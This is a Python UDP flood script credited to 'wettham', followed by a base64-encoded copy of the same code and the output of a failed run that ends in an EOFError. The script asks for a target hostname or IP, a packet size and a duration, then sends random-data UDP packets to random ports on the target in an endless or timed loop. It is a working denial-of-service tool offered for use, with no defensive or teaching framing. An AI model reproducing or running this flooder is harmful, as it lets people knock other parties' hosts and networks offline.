import socket
import random
import sys
import time
import os
if sys.platform == "linux2":
os.system("clear")
elif sys.platform == "win32":
os.system("cls")
else:
os.system("clear")
print(" _ _ _ ")
print(" __ _____| |_| |_| |__ __ _ _ __ ___ ")
print(" \ \ /\ / / _ \ __| __| '_ \ / _` | '_ ` _ \ ")
print(" \ V V / __/ |_| |_| | | | (_| | | | | | |")
print(" \_/\_/ \___|\__|\__|_| |_|\__,_|_| |_| |_|")
print("")
print(" Coded by wettham.")
print("")
target = raw_input("Target (Hostname or IP): ")
print("---")
package = input("Size (MAX 65500): ")
print("---")
duration = input("Duration (0 is infinite): ")
durclock = (lambda:0, time.clock)[duration > 0]
duration = (1, (durclock() + duration))[duration > 0]
packet = random._urandom(package)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("---")
print("The UDP flood started on %s with %s bytes for %s seconds." % (target, package, duration))
while True:
if (durclock() < duration):
port = random.randint(1, 65535)
sock.sendto(packet, (target, port))
else:
break
print("---")
print("The UDP flood has completed on %s for %s seconds." % (target, duration))
aW1wb3J0IHNvY2tldAppbXBvcnQgcmFuZG9tCmltcG9ydCBzeXMKaW1wb3J0IHRpbWUKaW1wb3J0IG9zCgppZiBzeXMucGxhdGZvcm0gPT0gImxpbnV4MiI6Cglvcy5zeXN0ZW0oImNsZWFyIikKZWxpZiBzeXMucGxhdGZvcm0gPT0gIndpbjMyIjoKCW9zLnN5c3RlbSgiY2xzIikKZWxzZToKCW9zLnN5c3RlbSgiY2xlYXIiKQpwcmludCgiICAgICAgICAgICAgICAgXyAgIF8gICBfICAgICAgICAgICAgICAgICAgICAgIikKcHJpbnQoIiBfXyAgICAgIF9fX19ffCB8X3wgfF98IHxfXyAgIF9fIF8gXyBfXyBfX18gICIpCnByaW50KCIgXCBcIC9cIC8gLyBfIFwgX198IF9ffCAnXyBcIC8gX2AgfCAnXyBgIF8gXCAiKQpwcmludCgiICBcIFYgIFYgLyAgX18vIHxffCB8X3wgfCB8IHwgKF98IHwgfCB8IHwgfCB8Iik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Zm9yICVzIHNlY29uZHMuIiAlICh0YXJnZXQsIGR1cmF0aW9uKSk=
_ _ _
__ _____| |_| |_| |__ __ _ _ __ ___
\ \ /\ / / _ \ __| __| '_ \ / _` | '_ ` _ \
\ V V / __/ |_| |_| | | | (_| | | | | | |
\_/\_/ \___|\__|\__|_| |_|\__,_|_| |_| |_|
Coded by wettham.
Target (Hostname or IP):
TERM environment variable not set.
Traceback (most recent call last):
File "prog.py", line 21, in <module>
EOFError: EOF when reading a line